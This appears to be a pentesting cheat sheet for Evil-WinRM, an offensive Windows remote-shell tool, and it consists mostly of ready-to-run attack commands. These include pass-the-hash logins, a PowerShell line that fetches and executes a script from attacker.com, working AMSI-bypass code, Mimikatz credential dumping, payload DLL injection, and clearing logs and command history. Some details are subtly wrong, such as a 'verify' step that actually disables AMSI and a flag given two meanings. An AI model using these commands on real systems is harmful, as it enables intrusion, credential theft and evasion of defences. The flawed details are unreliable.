Evil-WinRM is a powerful command-line tool for interacting with Windows Remote Management (WinRM) services during penetration testing. It provides a fully functional PowerShell shell with advanced capabilities like file transfer, DLL injection, AMSI bypass, and multiple authentication methods including pass-the-hash.
gem install evil-winrm
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
bundle install
./evil-winrm.rb -i <IP> -u <USERNAME> -p <PASSWORD>
docker pull ghcr.io/hakplayers/evil-winrm:latest
docker run -it ghcr.io/hakplayers/evil-winrm:latest -i <IP> -u <USERNAME> -p <PASSWORD>
- Ruby 2.3+
- Linux/macOS/Windows (WSL)
- Network access to WinRM service (default port 5985 HTTP, 5986 HTTPS)
evil-winrm -i 192.168.1.100 -u administrator -p 'P@ssw0rd'
evil-winrm -i 192.168.1.100 -u 'DOMAIN\administrator' -p 'P@ssw0rd'
evil-winrm -i 192.168.1.100 -u administrator -p 'P@ssw0rd' -c "whoami"
echo "Get-Process" | evil-winrm -i 192.168.1.100 -u administrator -p 'P@ssw0rd'
# Local user
evil-winrm -i 192.168.1.100 -u admin -p 'MyPassword123'
# Domain user
evil-winrm -i 192.168.1.100 -u 'CORP\jsmith' -p 'MyPassword123'
# Using NT hash
evil-winrm -i 192.168.1.100 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'
# With domain
evil-winrm -i 192.168.1.100 -u 'DOMAIN\administrator' -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'
# With certificate verification disabled
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S
# With client certificate and key
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S -c /path/to/cert.pem -k /path/to/key.pem
# Ignore certificate warnings
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S --no-check
# Requires valid Kerberos ticket
evil-winrm -i 192.168.1.100 -r CORP.COM
# Using exported Kerberos ticket
export KRB5CCNAME=/path/to/ticket.ccache
evil-winrm -i 192.168.1.100 -r CORP.COM
*Evil-WinRM* PS > upload /local/path/file.txt C:\Users\Administrator\Desktop\
*Evil-WinRM* PS > upload /path/to/exploit.exe C:\Temp\
*Evil-WinRM* PS > download C:\Users\Administrator\Desktop\secrets.txt /local/download/
*Evil-WinRM* PS > download C:\Windows\System32\drivers\etc\hosts /tmp/
# Open file operations menu
*Evil-WinRM* PS > menu
# Lists available file operations
1. Upload
2. Download
3. Exit menu
# Upload multiple files
for file in /local/path/*; do upload "$file" C:\Temp\; done
# Download all files from directory
*Evil-WinRM* PS > dir C:\Temp\ | ForEach-Object { download $_.FullName /tmp/ }
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -s /path/to/scripts
*Evil-WinRM* PS > IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
*Evil-WinRM* PS > Invoke-AllChecks
*Evil-WinRM* PS > Get-SystemInfo
# Import a .ps1 script
*Evil-WinRM* PS > . C:\Temp\PowerUp.ps1
*Evil-WinRM* PS > Invoke-PrivescAudit
# Load multiple scripts
*Evil-WinRM* PS > Get-ChildItem C:\scripts\*.ps1 | % { . $_ }
# Available when scripts loaded
*Evil-WinRM* PS > Invoke-Binary /path/to/local/binary.exe arg1 arg2
# Execute Mimikatz
*Evil-WinRM* PS > Invoke-Binary /path/to/mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -e /path/to/dlls
*Evil-WinRM* PS > menu
# Lists DLL loading options
*Evil-WinRM* PS > Dll-Loader
# Load specific DLL
*Evil-WinRM* PS > Dll-Loader /path/to/payload.dll
*Evil-WinRM* PS > Invoke-ReflectivePEInjection -PEPath C:\Temp\payload.dll -ProcId 1234
# Without specifying process (injects into current process)
*Evil-WinRM* PS > Invoke-ReflectivePEInjection -PEPath C:\Temp\payload.dll
# Automatic AMSI bypass (if enabled in evil-winrm)
*Evil-WinRM* PS > Bypass-4MSI
# Verify AMSI status
*Evil-WinRM* PS > [System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').SetValue($null,$null)
# In PowerShell session
$Ref=[System.Reflection.Assembly].GetType('System.Management.Automation.AmsiUtils')
$AmiInitFailed=$Ref.GetField('amsiInitFailed','NonPublic,Static')
$AmiInitFailed.SetValue($null,$true)
# Verify bypass
[System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').GetValue($null)
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -s /path/to/bypass/scripts
*Evil-WinRM* PS > . C:\Temp\Amsi-Bypass.ps1
*Evil-WinRM* PS > Invoke-AmsiBypass
| Command | Description |
|---|
upload | Upload file to target |
download | Download file from target |
menu | Show Evil-WinRM menu options |
Invoke-Binary | Execute local binary on target |
Dll-Loader | Load and inject DLL files |
Bypass-4MSI | Bypass AMSI protection |
Clear-EventLog | Remove Windows event logs |
Get-ComputerInfo | Gather system information |
services | Manage Windows services |
*Evil-WinRM* PS > Get-Service | Select-Object Status, Name
*Evil-WinRM* PS > Start-Service -Name ServiceName
*Evil-WinRM* PS > Stop-Service -Name ServiceName
*Evil-WinRM* PS > Set-Service -Name ServiceName -StartupType Disabled
# List directory contents
*Evil-WinRM* PS > ls
*Evil-WinRM* PS > dir C:\Users\
# Change directory
*Evil-WinRM* PS > cd C:\Windows\System32\
# Get current directory
*Evil-WinRM* PS > pwd
*Evil-WinRM* PS > systeminfo
*Evil-WinRM* PS > Get-ComputerInfo
*Evil-WinRM* PS > whoami /all
*Evil-WinRM* PS > Get-LocalUser
*Evil-WinRM* PS > Get-LocalGroup
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -l /path/to/logs
# Default log directory
~/.evil-winrm_logs/
# Logs contain all commands and output
# Organized by target IP and timestamp
~/.evil-winrm_logs/192.168.1.100_2026-04-17.log
tail -f ~/.evil-winrm_logs/192.168.1.100_*.log
cat ~/.evil-winrm_logs/192.168.1.100_*.log | grep "whoami"
# Non-standard WinRM port
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -P 5985
# Custom HTTPS port
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S -P 5986
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -N
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S --no-check
# Use custom PowerShell executable
evil-winrm -i 192.168.1.100 -u administrator -p 'password' --executable-path "C:\Program Files\PowerShell\7\pwsh.exe"
# Set connection timeout (seconds)
evil-winrm -i 192.168.1.100 -u administrator -p 'password' --connect-timeout 30
# Using proxychains
proxychains evil-winrm -i 192.168.1.100 -u administrator -p 'password'
# Configure proxychains.conf
socks5 127.0.0.1 1080
# SSH tunnel to target network
ssh -D 9050 user@pivot-host
# Connect through tunnel
proxychains evil-winrm -i 192.168.1.100 -u administrator -p 'password'
# Set environment variable
export HTTP_PROXY=http://proxy.corp.com:8080
export HTTPS_PROXY=http://proxy.corp.com:8080
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S
# Check if WinRM is running on target
Test-NetConnection -ComputerName 192.168.1.100 -Port 5985
# Verify WinRM service status
Get-Service WinRM
# Enable WinRM if disabled (requires local admin)
Enable-PSRemoting -Force
# Verify credentials are correct
evil-winrm -i 192.168.1.100 -u 'DOMAIN\user' -p 'password'
# Check if account is locked
net user administrator /domain
# Verify NTLM hash format (should be 32 hex characters)
evil-winrm -i 192.168.1.100 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'
# Disable certificate verification for testing
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S --no-check
# Use valid certificate
evil-winrm -i 192.168.1.100 -u administrator -p 'password' -S -c cert.pem -k key.pem
# Check target writeable directory
*Evil-WinRM* PS > cmd /c dir C:\Temp\
# Verify file permissions
*Evil-WinRM* PS > icacls C:\Temp\
# Create writable directory
*Evil-WinRM* PS > New-Item -ItemType Directory -Path C:\Temp\evil -Force
# Verify bypass worked
[System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').GetValue($null)
# If null, bypass succeeded; otherwise try alternative method
- Always use HTTPS/SSL (-S flag) in production environments
- Avoid hardcoding passwords; use environment variables or credential files
- Clean up evidence: remove uploaded files and clear logs after engagement
- Use pass-the-hash only with proper authorization
- Document all actions in engagement notes
# Use environment variables for credentials
export EVIL_USER='administrator'
export EVIL_PASS='P@ssw0rd'
evil-winrm -i 192.168.1.100 -u $EVIL_USER -p $EVIL_PASS
# Disable logging for sensitive operations
evil-winrm -i 192.168.1.100 -u administrator -p 'password' # No -l flag
# Clear command history
*Evil-WinRM* PS > Clear-History
*Evil-WinRM* PS > Remove-Item -Path (Get-PSReadlineOption).HistorySavePath
# Gather intelligence
*Evil-WinRM* PS > Get-ADUser -Filter * | Select-Object Name, samAccountName
# Check for other credentials
*Evil-WinRM* PS > findstr /s /i "password" C:\Users\Administrator\Desktop\
# Identify lateral movement targets
*Evil-WinRM* PS > Get-NetComputer | Select-Object Name
| Tool | Purpose |
|---|
| WinRM (Windows Remote Management) | Native Windows remote management protocol |
| PowerShell Remoting | Native Windows RDP-like remote shell |
| CrackMapExec | Lateral movement and exploitation framework |
| Impacket wmiexec | WMI-based command execution |
| Impacket psexec | SMB-based command execution |
| Metasploit winrm_ | Metasploit WinRM exploitation modules |
| SharpWMI | C# WMI enumeration and exploitation |
| Mimikatz | Credential extraction and manipulation |